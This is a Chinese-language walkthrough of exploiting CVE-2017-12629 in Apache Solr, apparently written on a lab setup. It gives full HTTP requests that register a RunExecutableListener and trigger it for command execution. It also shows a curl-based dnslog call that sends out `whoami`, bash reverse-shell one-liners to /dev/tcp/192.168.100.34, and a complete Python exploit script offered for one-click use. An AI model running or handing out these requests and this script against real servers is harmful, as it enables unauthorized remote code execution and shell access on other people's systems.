特征
访问8983
端口即可查看到Apache solr
的管理页面,无需登录
。(可能换端口)
网站title是Solr Admin
,图标有点像一朵红色的花
影响版本
Apache Solr 5.5.0
到7.0.1
版本
漏洞利用
此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。
https://paper.seebug.org/425/
这里我看了下vulhub官方的文档,首先
创建一个listener,然后
进行update操作,触发刚才添加的listener,即可触发我们想执行的命令
注:
一、经过楼主测试,一个listener只能创建一次,所以用一次改一次!
二、update触发listener,是触发所有listener!,所以之前已经存在的listener也会触发!但是楼主这里测试,listener不能创建太多了,不然会奔溃,不知道是不是楼主内存分配太小的问题
首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:
POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158
{
"add-listener":{
"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}
我们再来试试重复用name值,会怎样?
可以看到重复使用name值,就直接报错,无法成功创建listener!
然后进行update操作,触发刚才添加的listener:
这个包触发所有存在的listener!
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15
[{
"id":"test"}]
上面listener的图中,楼主是创建的b1文件,那么去看看
成功执行!
注:进行update操作后,命令会有一点延迟,请耐心等20多秒
二、既然能够成功执行了,我们就来用更简单的方法来验证一下!
dnslog验证!
方法就按上面的处理!
改name值,然后把命令换了
curl `whoami`.jxodqu.dnslog.cn
POST /solr/demo/config HTTP/1.1
Host: 192.168.100.34:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 161
{
"add-listener":{
"event":"postCommit","name":"b2","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "curl `whoami`.jxodqu.dnslog.cn"]}}
然后去update去触发listener
然后成功在dnslog看到回显!
反弹shell
首先监听
然后创建listener。改name的值
(换成b3
了),和换我们想执行的命令
bash -i >& /dev/tcp/192.168.100.34/9090 0>&1
注意:
1.0、
双方都是bash
使用bash -i >& /dev/tcp/192.168.100.34/9090 0>&1
可以反弹
1.1、
双方都是sh
使用sh -i >& /dev/udp/192.168.100.34/1111 0>&1
无法反弹
1.2、
双方都是/bin/bash
使用/bin/bash -i > /dev/tcp/192.168.100.34/1111 0<& 2>&1
无法反弹
从上面我们知道了,1.0可以成功反弹,那就用这个1.0
linux一般默认都是用的bash,但是我们的包是sh,而我们的反弹命令又是用的bash,所以要想反弹的话,必须把包中的sh改成bash
。之前用sh也可以执行命令,是因为之前的命令既属于sh也属于bash!
。
成功反弹
好了,既然流程都知道了,现在就直接用工具一键搞吧!
工具地址:https://github.com/zhzyker/exphub/blob/master/solr/cve-2017-12629_cmd.py
还是附上代码吧!经过上面流程的惨痛教训,我已经把下面代码中的sh
改成bash
了
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub
# telegram:t.me/zhzyker
import requests
import sys
import json
if len(sys.argv)!=4:
print('+--------------------------------------------------------------------------+')
print('+ DES: by zhzyker as https://github.com/zhzyker/exphub +')
print('+ Apache Solr Commons Remote Code Execution +')
print('+--------------------------------------------------------------------------+')
print('+ USE: python3 cve-2017-12629_cmd.py <url> <listener_name> <cmd> +')
print('+ EXP: python3 cve-2017-12629_cmd.py http://ip:8983 name "touch /tmp/123" +')
print('+ VER: Apache Solr < 7.1.0 +')
print('+--------------------------------------------------------------------------+')
sys.exit(0)
url = sys.argv[1]
listener = sys.argv[2]
cmd = sys.argv[3]
#get core name
core_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
try:
r = requests.request("GET", url=core_url, timeout=20)
core_name = list(json.loads(r.text)["status"])[0]
print ("[+] GET CORE NAME: "+url+"/solr/"+core_name+"/config")
except:
print ("[-] Target Not Vuln Good Luck")
sys.exit(0)
cmd_url = url + "/solr/" +core_name+ "/config"
exec_url = url + "/solr/" +core_name+ "/update"
#print (cmd_url)
#print (exec_url)
headers_cmd = {
'Host': "localhost",
'Accept': "*/*",
'Accept-Language': "en",
'User-Agent': "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
'Connection': "close",
'Content-Length': "160"
}
headers_exec = {
'Host': "localhost",
'ccept-Language': "en",
'User-Agent': "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
'Connection': "close",
'Content-Type': "application/json",
'Content-Length': "15"
}
payload_cmd = """
{"add-listener":{"event":"postCommit","name":"%s","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c", "%s"]}}
""" % (listener,cmd)
payload_exec = """
[{"id":"test"}]
"""
r = requests.request("POST", url=cmd_url, data=payload_cmd, headers=headers_cmd, timeout=30)
a = list(json.loads(r.text))[1]
if "errorMessages" in a:
print ("[-] Listener Repeat")
sys.exit(0)
r = requests.request("POST", url=exec_url, data=payload_exec, headers=headers_exec, timeout=30)
if r.status_code == 200:
print ("[+] Command Executed Successfully (Effective about one minute) (No Echo)")
else:
print ("[-] Command Executed Failed")
使用格式:python3 filename.py url name command
注:name就是前面流程中的name的值,所以每次必须不一样!
成功执行!
总结
1、linux一般默认都是用的bash,但是我们的包是sh,而我们的反弹命令又是用的bash,所以要想反弹的话,必须把包中的sh改成bash。之前用sh也可以执行命令,是因为之前的命令既属于sh也属于bash!
2、java的runtime
函数才需要编码,这里用的是solr.RunExecutable
Listener函数
3、(也就是说双方的命令语言要一样!)
双方都是bash
使用bash -i >& /dev/tcp/192.168.100.34/1111 0>&1
可以反弹